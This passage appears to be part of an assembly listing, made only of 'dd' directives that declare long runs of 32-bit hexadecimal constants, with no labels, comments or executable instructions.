dd 3C6B1E44h, 23A51509h, 0E4634490h, 3602E600h, 0D260806Eh
dd 0B1189210h, 0FFA20B4Eh, 1C82B009h, 684079DBh, 0FB6929D9h
dd 36882238h, 7D882DDh, 0C0BB05B9h, 0FCD99478h, 7C281560h
dd 0B26FE353h, 3B48B090h, 9C2CBE5Ch, 9581038h, 806FF19Dh
dd 0BAEF460h, 0F04E4C4Ch, 474F5300h, 6EE150D4h, 7C921B7Eh
dd 0DB16EB01h, 10796708h, 0CC08DC45h, 0FB3B1F62h, 29A53189h
dd 88FE4480h, 600EF39h, 0A115BCA4h, 0F0C5C842h, 9908A08Ch
dd 58D55868h, 0C6965300h, 0FB76B1D7h, 9E83C000h, 3B690FF0h
dd 17AC024Dh, 2C8C90FAh, 6E02D4C8h, 68267224h, 0B8985818h
dd 0BBE30B4Bh, 770143A1h, 25FC5EEDh, 0D12082C8h, 6690913Ch
dd 0F98C061Ch, 992DF447h, 408A451h, 0EDACC183h, 0A0300016h
dd 5838C091h, 0D977D2D8h, 4833BA34h, 49909CCCh, 4204043Ah
dd 0C2EEA136h, 94808D04h, 25DA6EAEh, 21F0B0C4h, 1C44CF84h
dd 40167A22h, 5E166408h, 301821D8h, 8378941Bh, 1FD71C7Dh
dd 2F8D0D9h, 0B9A035D6h, 0DE58E850h, 2CD1EC38h, 80EC9B6Eh
dd 5C5A9235h, 30F14826h, 0A0AB0418h, 5137D9C0h, 4601E41Fh
dd 8307C616h, 475FD313h, 0D0607C34h, 75B85Bh, 0FD48B474h
dd 6AFC5220h, 0B1AC061Dh, 307851C2h, 0B9F8C9C6h, 0B000E071h
dd 1702B98h, 0C1894664h, 945053D9h, 8884B5B0h, 4E8895Eh
dd 6AB31048h
dd 0AC42632Eh, 7258388h, 838EF347h, 100D59CEh, 71DBCCAFh
dd 7E1860h, 0F36AC09Bh, 86D83B68h, 0A8139572h, 6C0B3729h
dd 0B3A003Dh, 0BFC8A97h, 0B6329E61h, 78397C03h, 0D5738690h
dd 1319DF00h, 18EC5E2Ch, 92CD4C95h, 803F481Dh, 8050D08Ch
dd 0AD3E0646h, 9E10051h, 9088DC08h, 98196056h, 8B6E7C71h
dd 68BCD750h, 0ED6B2005h, 0F044FAADh, 9CC0DFAFh, 5C5BBA95h
dd 40740491h, 0B601AA08h, 64F487C0h, 0A4603F94h, 73CA7CF0h
dd 85143A34h, 0E242300Ch, 4E81B7F8h, 14284C71h, 6210BC59h
dd 6CB10004h, 0E36BBFEEh, 5435E790h, 1A376070h, 28AB5430h
dd 0A118C1h, 72DD0CA0h, 50E2613Eh, 41085FD9h, 72802D4h
dd 0B8B4D3C4h, 4D10B25Ah, 0D909DC32h, 0C48988D1h, 0B9C3E803h
dd 0B57A4388h, 35767103h, 34DD3D9h, 9AA0AE30h, 50A80E63h
dd 6098E0EAh, 0F9C8E720h, 0A210A426h, 0DB470016h, 2629E77Fh
dd 25B978ADh, 0FC0491F8h, 3AB81506h, 0E7DF80C7h, 76E712Eh
dd 0DA18C0E0h, 334E140Eh, 8A4430EFh, 9DB8D302h, 0E83E3020h
dd 0A433158h, 81DE483Fh, 9353136Ch, 0C4B9122Ch, 730C2C13h
dd 0ED06A8B3h, 2CB1B5E6h, 88D8D0BCh, 0B89787F4h, 2CD9C003h
dd 8E104812h, 0BA2EAF09h, 54036029h, 43D58530h, 0A8126BDCh
dd 6490F0D0h, 0F05016F1h, 869492B7h, 0D9A92040h, 16FBF01Eh
dd 9AF7940Bh, 0D0105840h, 2058F839h, 46069842h, 38E281F7h
dd 990D90Ch, 81F1197Eh, 2BE601CBh, 41145060h, 87884443h
dd 0D51D0840h, 0BE34F87Fh, 0C0071056h, 0A1BF312Ch, 7147B2EAh
dd 0A7F0E5E5h, 3E337C24h, 6B1FAFD1h, 66E08F68h, 0E31B31E0h
dd 19203038h, 91B17EA9h, 50350404h, 1138B3D4h, 5078DC48h
dd 0E26EB004h, 204A60ECh, 0BCD9094Fh, 0E406A1CAh, 0AC96502h
dd 8B5C61D0h, 9CA02444h, 80392090h, 8DDD071Eh, 0A1BC0E0Bh
dd 55DFD9A8h, 6B104889h, 0F3F804C8h, 0E28A6E19h, 16EC9A48h
dd 4A3D1881h, 60DF5036h, 0C96C9380h, 0B064B528h, 98860E00h
dd 2D5AD289h, 0F0DCE84Fh, 1A6F010Fh, 4A6ED9F0h, 0C030A44Eh
dd 0B2BE0039h, 5FF88BA3h, 86CE02BCh, 20D99C8Eh, 3DDD2848h
dd 89619F3Ah, 6AB302Ah, 2EA93A40h, 884FAE8h, 8400933Bh
dd 0B87A72B1h, 58DB02B0h, 0FF80D92Dh, 409570E9h, 0AB1949ACh
dd 535110E4h, 68F80278h, 48C9F0A9h, 89214DAh, 6804E858h
dd 508F306Eh, 1303EC0h, 2C74C049h, 6E865074h, 18E1513Ch
dd 20EB6030h, 41023F64h, 92ACD9C9h, 70046015h, 0B9B30F82h
dd 7D841D68h, 0B830C3A0h, 306E6839h, 901980B6h, 0F8EF63D1h
dd 0E7F8FD47h, 0D0DD004h, 5A12A08Bh, 27BEF7F0h, 30143CEFh
dd 0A18FB509h, 300C3069h, 0F464F7B3h, 480100DBh, 0A11816C8h
dd 4D4A6E6Ah, 8A64A000h, 43BF3Fh, 24EBBEECh, 8FA2D9F1h
dd 7087A8D3h, 4857883h, 988E0510h, 1E988058h, 0B6CF70B2h
dd 71A687F3h, 6E7DDC0h, 0D628C3A0h, 39490AD9h, 97900044h
dd 40218076h, 84770B3Dh, 5681E8A7h, 60EA45E4h, 0FF048C7Ch
dd 19928EEEh, 9F5324C0h, 20A75CB0h, 0FC6B510h, 6BB48B2h
dd 5C109C86h, 9E0541CFh, 969EBD9h, 0BC842988h, 24609A3h
dd 519A6368h, 10359258h, 0D684A060h, 3101C690h, 0EC96A090h
dd 66880E09h, 0A80803D0h, 2ED5D9C3h, 90DB1006h, 38B88Bh
dd 27F6CD80h, 0FE25D9E1h, 68DC20C5h, 8746FCC0h, 5D3D00C3h
dd 82580B14h, 2B01CC1Fh, 0D904F0CBh, 30A613A0h, 0D707C004h
dd 2216A782h, 7804D63Ah, 0B202F5DFh, 28C1C878h, 9146086h
dd 0AD716E10h, 91C3EE16h, 0E1D16724h, 583067FBh, 0A4214A20h
dd 1880BAF5h, 0BD6208E8h, 0D916D38Ch, 348682F9h, 886E2651h
dd 0D80BCD0h, 485D612Dh, 730415DBh, 0A36E5152h, 846648B1h
dd 3CB72Ch, 7F6DF19Bh, 0B626FAF8h, 8303CBFh, 0B9D2C7AFh
dd 26328580h, 6E8891A1h, 0C051A8DFh, 5851E864h, 0F6A184D0h
dd 5465EF90h, 0E6B4E2DAh, 24A4909Ch, 701C0Ah, 0C75A7D35h
dd 3100C3D6h, 0DAC83D55h, 9E8E406Eh, 52324D6Ch, 0A0D80188h
dd 0EC70902Ah, 6302E494h, 0C89B8130h, 7E3C6DB4h, 0DC6E189Eh
dd 0AF3848A8h, 62A27F07h, 902169D5h, 0A080C8AAh, 7464B1A0h
dd 0A87177E9h, 8A522A62h, 0CF4841C3h, 1FA487D0h, 16F3D48h
dd 0EFD9C485h, 0A9C040B9h, 0BF1CEB20h, 106DBE6Eh, 3EA80E38h
dd 6F78FC50h, 7AC01844h, 0C299DC93h, 2C4CB100h, 90D248E1h
dd 0C86B64E6h, 1743C596h, 485422B8h, 982C6009h, 1DE7E66h
dd 0AEBDE67Eh, 0E870F1B6h, 5001B186h, 0A597E407h, 51845590h
dd 0C2598D30h, 284635D4h, 99F13E20h, 5E9788C8h, 0CEC44800h
dd 2471FF5Ch, 2DB8D46h, 0BBFCF36Fh, 0EA141C48h, 313CFAFAh
dd 82C2852h, 0DED86C03h, 0E89047A9h, 0FB8C95h, 0CF06837Eh
dd 6E352DA8h, 78A1FF30h, 74586C01h, 0D9970CD3h, 0D29857B5h
dd 62C9248h, 4EE190DAh, 0C30E790h, 356C2C0Fh, 3240BCA4h
dd 0D811A861h, 0BC2CF96Eh, 0D6019916h, 0D7062854h, 7FA9D9C6h
dd 2DB20860h, 0E20894C8h, 1AF612B7h, 30828C68h, 9471AC75h
dd 0AC1E0413h, 0C89F2EFCh, 882074A8h, 0ED650BA9h, 0C8A2D607h
dd 9B04D54Bh, 0F8CC4C2h, 0E6DB1205h, 619C54B4h, 7F508B40h
dd 0D40C500Eh, 16040D9h, 0F625B490h, 0B6E8A42Eh, 0BE5DD903h
dd 1AC5858h, 44981FAh, 14221830h, 42656D0Ah, 0D5D8890h
dd 1CD99D02h, 0A68C6826h, 6E630CC5h, 0D5A02952h, 4CD9A008h
dd 0C2193E6Fh, 2150181Eh, 0DCE0E074h, 0F839A8C2h, 0D94CE8FDh
dd 30E560D0h, 0B126F0D8h, 3025484Fh, 7B045C05h, 1E089C14h
dd 550010AEh, 0F93D6294h, 0F19F0BE5h, 0B58C8DDCh, 0B95C57F8h
dd 5E8A1C4h, 64068022h, 18F9186Eh, 3338FCEDh, 730150Dh
dd 1C60F9DEh, 99A8E6AFh, 93D8A254h, 0E6504B4h, 0DC8E384h
dd 589B736Eh, 0F0B2822h, 6CC458A8h, 3FF09018h, 7EDA7A10h
dd 0C7FD0084h, 0BC32E854h, 0A448EB87h, 0CA2207E4h, 2AC0AA23h
dd 48056309h, 0DC019CF7h, 68B25593h, 8E0A03Dh, 0F4483A00h
dd 4FEA3179h, 7425F57Ch, 0DF04DC3Ch, 8D30D00Fh, 3C2EE478h
dd 0C47F2C1Ch, 0B3B7D5Dh, 813F4731h, 0E70460A4h, 0D0A586FCh
dd 534A0858h, 0B4BC1490h, 28E92610h, 0C899D00Eh, 0B49B8C22h
dd 0A0AC8604h, 5E9490E0h, 6D7C05CFh, 0E88D10Ch, 0DB88D273h
dd 0D561C0D4h, 2A0040DFh, 3BC40FD9h, 452C664h, 0C83F46B9h
dd 0B62085FCh, 8C900C40h, 97F4070h, 0E85E9F08h, 0B01084C3h
dd 56023414h, 9CBBAF85h, 0C4F09Ah, 3E3DF080h, 8709F878h
dd 2B2DDC90h, 8AB4007Ch, 0F0090FA7h, 507AB8C8h, 0F59D08A2h
dd 6E0D3029h, 0F890CC63h, 0BCAC2331h, 4C187701h, 0D3FE3010h
dd 3C6E5424h, 9E2CF85Ah, 1A3F00C8h, 4FB98840h, 10D439E9h
dd 0F0005ACFh, 0C8A806E1h, 580FD21Eh, 0C0961D9Dh, 0AFAE78A2h
dd 0BC210BC4h, 0A8428102h, 5842F04Bh, 20344CACh, 0EEDA17A0h
dd 1475CBh, 0A13FDD68h, 0C0206E69h, 84AC96CDh, 0B239580Fh
dd 402D7840h, 90249033h, 5CC54CEAh, 0D7D53C78h, 10D8EB18h
dd 6528B997h, 0C4503464h, 7B006248h, 0DC35E212h, 1D15C2E9h
dd 0FAEDD8h, 31A7376Dh, 0CA7C5784h, 0E26AB700h, 4F42A0BAh
dd 0C7EDE82Dh, 40A20730h, 0C6258C59h, 720D3109h, 629300E2h
dd 7C90B82Fh, 0E8B00066h, 0F9A6C242h, 6A72DFB9h, 3505E70Ch
dd 0D82084h, 0CE399B10h, 61F7DED4h, 754FF63Ah, 3757DC00h
dd 9FA8B56Fh, 313E30D8h
dd 0C28A0768h, 420CB871h, 49F7F1AEh, 205360DFh, 352AE528h
dd 8F4D6D1Bh, 8B94D0C8h, 0F43A12B0h, 3470000Eh, 871A0843h
dd 730145F6h, 5762FB0Dh, 0B1D8680Ch, 93D8189Ch, 0A9AD9889h
dd 45769F00h, 63F0C481h, 8F900060h, 3DA50580h, 981E91B5h
dd 9D8C7C30h, 1995D8BDh, 904DF6D8h, 838C470Fh, 1076294Bh
dd 18BE0E1Eh, 0A4EF94h, 0CE1EA96Dh, 1DA0027Bh, 764323Eh
dd 80279359h, 2F4280B8h, 995C8C0Eh, 1D308039h, 0F4A5175Dh
dd 1BA0EC4Dh, 78AE468Fh, 0E7D005C5h, 19B02002h, 0C2003C74h
dd 38B28057h, 513A8F1h, 316DF24Eh, 9012D9h, 37C4C633h
dd 0B76E6ABFh, 429001B0h, 5B2125F5h, 8882CEC9h, 0BCDDD85Ah
dd 8F008C8Ah, 9A83A8B6h, 78A0B0B8h, 0EC00A355h, 387330BEh
dd 11BC647h, 0B599A910h, 8805399Eh, 4B671B0h, 800FFAEFh
dd 6240B030h, 2D91C660h, 1269F249h, 104718F0h, 61000818h
dd 75B9CF3Ch, 12018FD2h, 9E997BD5h, 944198BAh, 0F885178Eh
dd 4620F57h, 0CFD93BCh, 6F9C110Dh, 0EDC9C0BEh, 0EFD17000h
dd 6850B023h, 4EF28F40h, 1804A0D4h, 451867AAh, 60CE0085h
dd 277D623Dh, 9E7B8FD9h, 0EE7428C0h, 282FB7ACh, 31D453C6h
dd 0F59088BAh, 9010B567h, 824F9032h, 9820EF84h, 8169523Ch
dd 91BC404Fh, 0DE3615D2h, 8ED008E1h, 0BC0E1A94h, 48F310Ah
dd 5E676A05h, 72211F20h, 19003D11h, 9004D235h, 721520A8h
dd 2F0047EAh, 0C18F456Ch, 0F27AF3CEh, 668020DDh, 9C5A0D28h
dd 602F49h, 2B698C05h, 3FC764E1h, 854D2CBh, 0E7DA09C3h
dd 402430C4h, 95D8986Bh, 99D36E00h, 527B15F2h, 6D6909E2h
dd 38A4E873h, 9E7A0FDAh, 0C88E45C7h, 1EC74C07h, 84084706h
dd 0E174A1A0h, 0B5033080h, 1D6DE331h, 0EF48BA63h, 830DE0EAh
dd 5F80282Fh, 62F038C0h, 51F74780h, 0D9C0B7Eh, 0B026DC90h
dd 0E60050C0h, 30DECAACh, 5910C2F8h, 80AC01A2h, 53018A90h
dd 6D296A4Eh, 6892CE2Ch, 7100432h, 0EC28809Dh, 81D4CF21h
dd 0A83C02ECh, 80921722h, 0BE8569F7h, 20F8AE9Dh, 0F700A399h
dd 2763DAC2h, 1130825h, 87A9E9EFh, 50F1BDD2h, 4F35DF98h
dd 0AD206DF2h, 3671DD3h, 50399AD8h, 0D2A59F60h, 9202BF7Ch
dd 798F8C15h, 6A644875h, 250E18D3h, 5B2F1024h, 0B08C5850h
dd 0DBC8410Bh, 3B7D0712h, 81F6985h, 92C48FFh, 83BE923Ah
dd 0C1354500h, 8934962h, 14AC1436h, 2FDE6D82h, 184F6460h
dd 3877B800h, 8F82D207h, 785B6028h, 9DA741C3h, 1A48048h
dd 89BEADF2h, 98240E67h, 28F55047h, 0D7A10005h, 0C761C218h
dd 7F306DF6h, 9130F893h, 111C20D8h, 27EFD51Eh, 1057B50Ch
dd 0B29906D2h, 0A9388015h, 0D8303A12h, 0FD703600h, 0C6550B6Dh
dd 8C24B48h, 29416635h, 4D32CC46h, 0A4E54C08h, 0A140A68h
dd 0BE508897h, 902E4301h, 0E3FFEF18h, 0B00814F5h, 3B4E8210h
dd 382F8AA4h, 0D839B869h, 2EDB1000h, 6C07348Bh, 813EC7F3h
dd 0E0958078h, 0EAE8A8E1h, 6B9424F1h, 570EB89Ah, 878350ECh
dd 31C96A0Dh, 1430EF28h, 46170132h, 0C38FDCD7h, 4EB881ABh
dd 0E6686DCDh, 413E2886h, 8C9F125h, 8EC8236h, 7478C6B3h
dd 0D89B4D69h, 2ECCAC7Bh, 69084A03h, 0A88F2C01h, 7CC430E4h
dd 12A90101h, 375AD88Ch, 0E0207865h, 8FE009D4h, 42522A4h
dd 9E58060h, 0ECB84234h, 0E812603h, 0C0C1F4A9h, 4DBCD81Eh
dd 0E6705044h, 839CA0D0h, 0E80D835Dh, 0D0F1566Dh, 0B0AD97C0h
dd 401348F8h, 200E126h, 618C8FD8h, 0DBCAB048h, 0FA1F673Dh
dd 0AC585568h, 5C03CE96h, 5CDD72Fh, 650569E0h, 8F856C7h
dd 212F564h, 0D89A8001h, 99B14612h, 0E2663E89h, 0C3888F01h
dd 0DB468440h, 13EE0491h, 14811D8h, 5897A805h, 481744E8h
dd 0CF0418D7h, 0C07006A0h, 8F3BD64Ch, 78AD083Eh, 0D908DF50h
dd 0BA6536FEh, 0C40145A8h, 0F7D8046Fh, 0DE5802C3h, 0A8BA2967h
dd 0EC12A04Eh, 0C31A970h, 0A982643Eh, 0B76B1167h, 0C184EC63h
dd 710DF5CCh, 0E915E1ECh, 184C2057h, 0E5448F19h, 5CC16BD0h
dd 0C0DC1BE0h, 0DEDA4710h, 500A4160h, 80FFDF6Dh, 4F31AC99h
dd 5D6A820h, 616CF114h, 37B601EAh, 20804273h, 0A874D978h
dd 0AC68A000h, 6FB19EA5h, 0F2EE1E8Bh, 0D82B0B04h, 0A69C9808h
dd 0F6E1077Ch, 838BBFF7h, 0ADDA40A7h, 0A448EAA8h, 0C35C860Dh
dd 0F5348E7Ch, 8FD40684h, 5918A129h, 9985A09Eh, 684488B1h
dd 0C248EC18h, 0B25437C9h, 6DD70A9Ch, 859C85FFh, 0D30ED83Bh
dd 38780F08h, 107E5330h, 465537h, 159040FAh, 2FD147B1h
dd 88C01D71h, 4B3EE68Ah, 9505012Dh, 7A09E9A4h, 0B26DD0E7h
dd 595C1F48h, 396485DCh, 0F082D825h, 0C2470017h, 7C01CBF2h
dd 2FB885C5h, 2C306099h, 68C85D1Dh, 26EFD402h, 80A58034h
dd 98781181h, 0B00F6D1Eh, 0BED83FD1h, 30242D41h, 184750B0h
dd 0A80AA30h, 0A0A824F4h, 306E0E20h, 95B1E5DCh, 9048BAA0h
dd 924610A4h, 13989078h, 0A0F6593h, 0ABCB218h, 34CF447h
dd 3B368FD3h, 7C78D828h, 2845B007h, 6723F5BEh, 816DC237h
dd 0F0473808h, 901A3863h, 60C0C9F8h, 0C44CA705h, 393D88E8h
dd 59958960h, 39DC7749h, 144C9D50h, 248FED8Bh, 98209689h
dd 98BAE862h, 3301B891h, 4A6DD44Fh, 5C2072D3h, 0B8807079h
dd 0CAE397Ch, 0D8109A61h, 502087B7h, 1CA25805h, 14C52F82h
dd 0C33C5723h, 5541706Dh, 59E4DC49h, 0E530C2B2h, 0B46B352Bh
dd 80F4D0DCh, 2F00E6A0h, 0AEA404B5h, 3C374E19h, 0AF00F877h
dd 984DCF35h, 8730D807h, 0B773682Eh, 0BD75202Fh, 9105B09Ah
dd 1E763B8h, 43B2B820h, 414C62h, 0CE943A05h, 6B80C1F0h
dd 0F464F20Bh, 40C2B8FCh, 4056482Fh, 12571938h, 4682DE6h
dd 1F325CB0h, 440B0253h, 551C83F7h, 1D83AEAh, 461CDB40h
dd 2F86F010h, 1809943h, 0C98B083h, 4086EDD8h, 2AA3049Ch
dd 0BA6048F0h, 20DDD710h, 0DA80571h, 4BE2142Fh, 4898A0BCh
dd 4348B099h, 3378C65Ch, 2773ECE1h, 582FF2EDh, 0F7C9253h
dd 28648061h, 0B74D1314h, 7764F454h, 186C1558h, 9F4848C3h
dd 0E66E0019h, 3FE21304h, 0E062972Fh, 8646B130h, 341D0CCh
dd 28E75230h, 0CD8297D2h, 0D8948C48h, 17589B5Dh, 1004ABADh
dd 70CD43BDh, 0F184882Ch, 0D6E0D1EFh, 3C360CD3h, 83A80653h
dd 56C70798h, 8C072F33h, 0FF008E38h, 55A2001h, 3F7274A9h
dd 0D68017BAh, 0D929E786h, 60E99F1Bh, 0C13C7A23h, 386787EDh
dd 0EF266D63h, 1F910068h, 2FE755C6h, 0F906AF56h, 3BA2D8FDh
dd 8C450090h, 9B6EB0C1h, 6300819Dh, 56B1757h, 0E0E7287h
dd 0C047365Dh, 21814E0Fh, 744DA985h, 68631B10h, 0A03972E0h
dd 639C92h, 0B996800Ch, 0D803EE74h, 0F8973428h, 0C9A68F02h
dd 7126E2B5h, 95BAB0F8h, 1D2AEC6Fh, 24948CF2h, 19E80CC9h
dd 3D602424h, 0C674008h, 0A4140768h, 27C8B6C2h, 0EC54A29Ah
dd 67B802AEh, 3F0C4C7Bh, 8DF97Dh, 0F677B0C3h, 8FC4DD83h
dd 28C0A5E8h, 0A782DE07h, 0D5341D29h, 63740DFh, 6DFECF41h
dd 0EC14FA26h, 8007502Ch, 0E9B58FDDh, 0E7EF9081h, 0E8297061h
dd 6F366781h, 0E3AED8D2h, 0E1ACBE00h, 1689056Eh, 414E010Bh
dd 8C6DCF4Fh, 0E7308043h, 5596A024h, 76B01D95h, 0CA47000Ch
dd 856B104Fh, 0F70524B8h, 3E92257Fh, 14429456h, 8C0212Fh
dd 0D8EA01E8h, 3C3EDB36h, 568F0820h, 0E4C70775h, 29D983DEh
dd 0C17C1048h, 2F397F18h
dd 0B602FDE5h, 0C09A24E1h, 35013875h, 0FE048794h, 0E464AAD8h
dd 0EB8F2AD6h, 22CB880h, 0DD65973Fh, 0BC9807E7h, 580527Eh
dd 3B3003A4h, 0DBEF4783h, 8808CC2h, 0B6B0D89Bh, 0F4B01890h
dd 58C9A231h, 803D254Dh, 303C6185h, 76904B0h, 63C28C13h
dd 27E00426h, 0A0934D6Fh, 0BB87C1h, 0A465B897h, 45B21650h
dd 8F304362h, 187A5819h, 72F04CB0h, 0D44459h, 9D53D1FAh
dd 1A5050Eh, 0FFDA3955h, 0A7E4BD2Fh, 46582248h, 8A888054h
dd 1E04056h, 9DB9B525h, 648804D8h, 5C04A124h, 9E41C85Fh
dd 0FE2FD8D0h, 3A20B2ECh, 2AB28F4Ch, 0FC1C378h, 7C9D4124h
dd 0C0CEC834h, 10ECD424h, 0C1A2AC00h, 4D164FCCh, 0D809806Bh
dd 74C21EA3h, 8403862h, 5C9015BDh, 8160DE58h, 0E1DCF7C7h
dd 306DB820h, 3818FB70h, 6203B080h, 0D737AD53h, 0B84783E7h
dd 0BB8AECCh, 0D9EF3871h, 30C300B0h, 531CA4A8h, 21E13300h
dd 189EA50Dh, 3FC4B15Bh, 3A80C977h, 0B8603062h, 5C1BC95Eh
dd 0F038C6ACh, 78B0F28Ch, 0E7513CB5h, 9FFB3187h, 0B671A0D6h
dd 0FA0A27E1h, 0C849E48Fh, 1B98C780h, 4057B51h, 6DAE088h
dd 0B2908061h, 3000F26Dh, 49896A5h, 0F08A6280h, 6698C485h
dd 49CA23Bh, 7AB76E3Dh, 182A9808h, 7856A222h, 0CF7D0088h
dd 9FA88D07h, 4C0172B0h, 8F95EED0h, 9000697Ah, 8BA31D8h
dd 4F24D57Ch, 0F93860D0h, 77205478h, 63449644h, 1DC4B96Dh
dd 53349CFh, 940108D5h, 61742F37h, 0C01EE838h, 0F13FC042h
dd 0D818C27Eh, 4DCC10DCh, 3D0B7030h, 2AA59E66h, 0B7858482h
dd 7945ACE0h, 0DE1D2E16h, 7CE5A0C4h, 0E82BC4h, 9585057Ch
dd 3152EB54h, 0D8EFEA78h, 7E7DE509h, 0B46FB003h, 88678144h
dd 0B9D56A1Fh, 803F13B0h, 463C8FC4h, 117ED8C9h, 0B09230A8h
dd 98C4C6C2h, 0D202E2FBh, 38CE0E1h, 0D5E4EE8Fh, 9924BC08h
dd 8D9A4544h, 0A0EDE304h, 9C1D3B24h, 0CF0F6C10h, 0EEDA86F3h
dd 68D84818h, 0BB11F93h, 3868B1C0h, 74908DFFh, 0FCB1D898h
dd 542A283Eh, 4F18B861h, 1830D1D3h, 74508254h, 6D06B8BBh
dd 0FC718DD4h, 62770E2Eh, 0DD5D47h, 27C322F6h, 10DF45C7h
dd 8C0C7514h, 302F8198h, 5950F813h, 0C4B40DAAh, 7E680049h
dd 8ED3F5h, 6602DAD9h, 18F6476Ch, 93E3A16h, 64941800h
dd 0F9EF53B8h, 8052031h, 1D145010h, 2024616Dh, 15FAEF00h
dd 2D45810Dh, 602080DDh, 0CB96AD65h, 0D4338F12h, 0F3C75004h
dd 55FFCCC0h, 935B0020h, 0C95C2759h, 8F14D978h, 8C4CB6h
dd 0C080E9EEh, 81F33C2Fh, 43C61B8h, 0ECEC0230h, 5071DE52h
dd 1B8CA180h, 909257BBh, 308F181Ch, 8996502Dh, 0AD17B0A4h
dd 3C839EA3h, 0FA2CB2Fh, 6362F018h, 726DE7E2h, 395A7478h
dd 2C2F0047h, 6F900569h, 37C1901Ch, 0E6C77FADh, 40081304h
dd 0B8933C4Ch, 78423061h, 31689876h, 0D498F445h, 117B0024h
dd 209C6490h, 6CB482E8h, 0DF6AE840h, 1C249A81h, 0BB840797h
dd 0E00171D0h, 6DC24E3Fh, 0A8C17090h, 0DCF0F73Eh, 80003827h
dd 0ACF87E42h, 0C9890A3h, 3226A70Fh, 71EE6081h, 0B8074F51h
dd 3A9C297Ch, 4198ACE4h, 454742A0h, 1038A280h, 0F85DBBAEh
dd 87D70709h, 6538A882h, 6A3046C0h, 0C1C73B01h, 27220EDAh
dd 859F3078h, 0D0E8FC2Fh, 0BA13691Ch, 0E79F3A00h, 4ABB9E03h
dd 79303CDEh, 82B28h, 23DCD662h, 4F1E6D0Ch, 10B8E258h
dd 94002F11h, 553B9C8Bh, 0A704C657h, 8C453424h, 857607C0h
dd 0E64B29F4h, 0FBF3C08Ch, 0D838A2EEh, 0D427DB3Eh, 0C09EBC82h
dd 4B8FDF9Ch, 300400EEh, 468854EFh, 0E618D701h, 0B072F220h
dd 207C7E0h, 6D6B3666h, 0F468BC8Ah, 0DCB06905h, 9542E094h
dd 0B5701B3h, 0CEEFE164h, 0DB652840h, 10D38F18h, 26E2E1A1h
dd 6024A03Ch, 7A168F86h, 0EC3180h, 10788B05h, 382F7B95h
dd 6D38AB60h, 0DFA504h, 943947B1h, 0B58FD457h, 0F3E90F41h
dd 56103033h, 4F36099Ch, 5BF0C4D1h, 47687163h, 4F843DDDh
dd 37D79C40h, 0C0CCA73h, 65552F89h, 0D4E464C8h, 0A379C616h
dd 0B9BDA800h, 9B0CA5Fh, 9E8E8C49h, 17942002h, 60F9C702h
dd 804DFE84h, 0D42E6293h, 5D00983Dh, 6D680BEFh, 90DD6606h
dd 2CB07855h, 380496h, 52243D4Dh, 157E289h, 434CBBFh, 8FDFF777h
dd 0E1D78704h, 0FFDD46E9h, 0EEDE29C4h, 0E0437050h, 3FBE0056h
dd 81585323h, 0F703AAEEh, 7DE9ED59h, 2D22004Eh, 69C85CACh
dd 767FBA52h, 0D100BE70h, 2EAC1E2h, 0C1E19CE9h, 504DB15Ah
dd 14B0C852h, 586069F8h, 3D1B6842h, 5A02032Ch, 4245431h
dd 0DB0BE9A8h, 0C64938CEh, 0F62C8ADFh, 16CA60EEh, 81241C8Bh
dd 1A04C437h, 0DBCB0103h, 7383DB0Ch, 2C31B16h, 0BFE72887h
dd 0BB0F6683h, 0E99C81EFh, 0D24B8CC9h, 68B4132Ch, 4F2B4A12h
dd 46F4D865h, 635FF88Dh, 0E689561Fh, 5A33A099h, 68F03449h
dd 5118C523h, 0CA504FB9h, 0E5407A6h, 243C8906h, 1F02BFh
dd 6326C181h, 0E3E910B7h, 0E5277767h, 39072h, 0F6E0B652h
dd 0B880DE39h, 99F33FC4h, 8B1E37DBh, 4C51C89Eh, 0BA317A33h
dd 4C0E64A8h, 0CEF6BC0h, 0EC236231h, 0CE702DF7h, 0CAC1DB40h
dd 3A036071h, 4BE9F901h, 0AD320584h, 5F372F68h, 60D99D5Ch
dd 5EF1311Ah, 0E9BE30DCh, 81AFA81Ah, 0F942A8C6h, 6FEA8846h
dd 6C32A1Dh, 2D4AC280h, 389D635h, 0E9455AD5h, 4028ED8Eh
dd 75209B28h, 0FC5EFC58h, 46506835h, 0ECCA4E2Eh, 85891406h
dd 5EB7BD00h, 0EBE97D08h, 0F5272D62h, 0BE640AFh, 8932C983h
dd 62680800h, 0D039E51h, 9A82D58h, 0D9C6144Dh, 0B3867B03h
dd 0F6DE1151h, 0A6F6100Ch, 9590ADh, 7375193Eh, 348BF029h
dd 543FBC90h, 85E90D5Ah, 8946C361h, 7C836E8Fh, 48655E4Ah
dd 0E9C4304Ch, 0C2A80F63h, 691E1305h, 48CC4345h, 4887160Bh
dd 0F803B3Ch, 0EF68C8B7h, 0F8B72754h, 1FC52544h, 85BFFBB8h
dd 205DEE01h, 772A6838h, 3FA33DBh, 80D4F60Ah, 63B71ECh
dd 0D5E407E7h, 539C77E9h, 1EE07EDh, 0CF597453h, 9D1423E9h
dd 51000684h, 0D1F6A8B1h, 0DE6DDAE9h, 23E10121h, 0DC4648B0h
dd 6418D7E6h, 0EE1A046Ch, 15A9041Ch, 9324BAE9h, 0D1B9F0A0h
dd 0C8414064h, 4D98AD3Ch, 1830CD06h, 0EC34AFh, 915C075Bh
dd 665DE831h, 3ACAFF7Fh, 943DD6C8h, 7ABD8BC6h, 9E5B9D24h
dd 895710B0h, 0C78124E7h, 3B306259h, 2E8C100h, 4417291h
dd 368D8F7h, 1C069338h, 39BF3C01h, 0BB1FE93Dh, 7713FBE8h
dd 5EFFF9Ah, 4BC38026h, 0EB2F8328h, 0B0045AA8h, 2390D8E0h
dd 451CB40h, 1E477168h, 53A7981Bh, 3D00527Dh, 5A71CA05h
dd 0E3BE281h, 0C128D81Ah, 185513D2h, 0BCBF68D6h, 0C8384B38h
dd 9963BF4h, 4F6739h, 76E8550h, 0C3FFA05Fh, 5F73930h, 0CE06DE3Ch
dd 1DAE278Eh, 1734BD0Ch, 4710C3Ah, 110839Eh, 305487F7h
dd 36AF7A87h, 9A760C1h, 188057E8h, 75FE37EBh, 0FB62A3E9h
dd 66BB53D0h, 0C6EF0170h, 10BBE1Ah, 12B344DFh, 20E62D08h
dd 0FBA95FFFh, 0E83D60CEh, 272A6D02h, 62C68359h, 0E9B081ECh
dd 6C8FF2A2h, 4860E0C1h, 0CEA3572Dh, 10BB4648h, 0F724409Bh
dd 4FF1083Dh, 66F82803h, 1896C95Bh, 0DB53129Fh, 8992483Dh
dd 0BDCABD8Fh, 58BA80F0h, 11FDAFDh, 975FFA2Ch, 0EB53880Ah
dd 70280E4Fh, 4110CC7Dh, 6C8740Ch, 0F19005Fh, 34FFC0B6h
